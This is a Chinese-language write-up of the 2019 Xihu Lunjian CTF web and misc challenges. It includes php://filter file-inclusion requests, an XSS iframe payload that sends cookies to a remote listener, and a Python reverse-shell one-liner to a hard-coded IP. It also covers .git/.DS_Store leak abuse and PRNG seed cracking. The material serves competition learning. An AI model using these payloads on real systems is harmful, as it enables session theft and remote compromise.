2019 西湖论剑 WriteUp
2019-04-08 本文已影响101人
Eumenides_62ac
Web
babyt3
登录看到:
尝试文件包含:
file=php://filter/read=convert.base64-encode/resource=index.php
得到源码:
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>
<!--hint: dir.php -->
读取dir.php
的源码:
file=php://filter/read=convert.base64-encode/resource=dir.php
得到源码:
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
构造去查看根目录下:
dir.php?dir=/
然后去读取
ffffflag_1s_Her4
文件:
/?file=php://filter/read=convert.base64-encode/resource=/ffffflag_1s_Her4
得到flag
。
Breakout
进去看到留言板
使用下面
payload
可以弹到自己的cookie
:
<iframe src="javascript:window.location.href='http://xxxx:8000/?a='+document.cookie"
然后去report
页面提交留言板地址:http://ctf1.linkedbyx.com:10441/main.php
过验证码的脚本:
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000000):
if md5(str(i))[0:6] == '7751c4':
print(i)
break
然后自己远程服务器上:
$ nc -lvvp 8000
可以打到管理员的cookie
:
然后去执行命令。
远程
getshell
。payload
如下:
command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.25.89.91",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1
反弹
shell
成功后,flag.txt
在根目录下。猜猜flag是什么
首先要去拿到code
。
通过扫描,可以看到根目录下有
.DS_Store
泄露:http://ctf1.linkedbyx.com:10442/.DS_Store
。找到
/e10adc3949ba59abbe56e057f20f883e/
目录后访问,可以看到又有.git
泄露。用
githack
获得一个压缩包BackupForMySite.zip
。用明文攻击解开压缩包,得到里面的
code
。之后去主页面提交:
/?code=你找到的code
给了一个随机数。
使用php_mt_seed
:
$ time ./php_mt_seed 你的随机数
得到数字依次访问:
/flag/得到的数字.txt
就能得到flag
。
Misc
奇怪的TTL字段
发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中:
fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i[4:]))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
# print(s)
import binascii
flag = ''
for i in range(0,len(s),8):
flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255
写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息:
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
应该就是AutoKey那个加密了,找了个在线网站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag。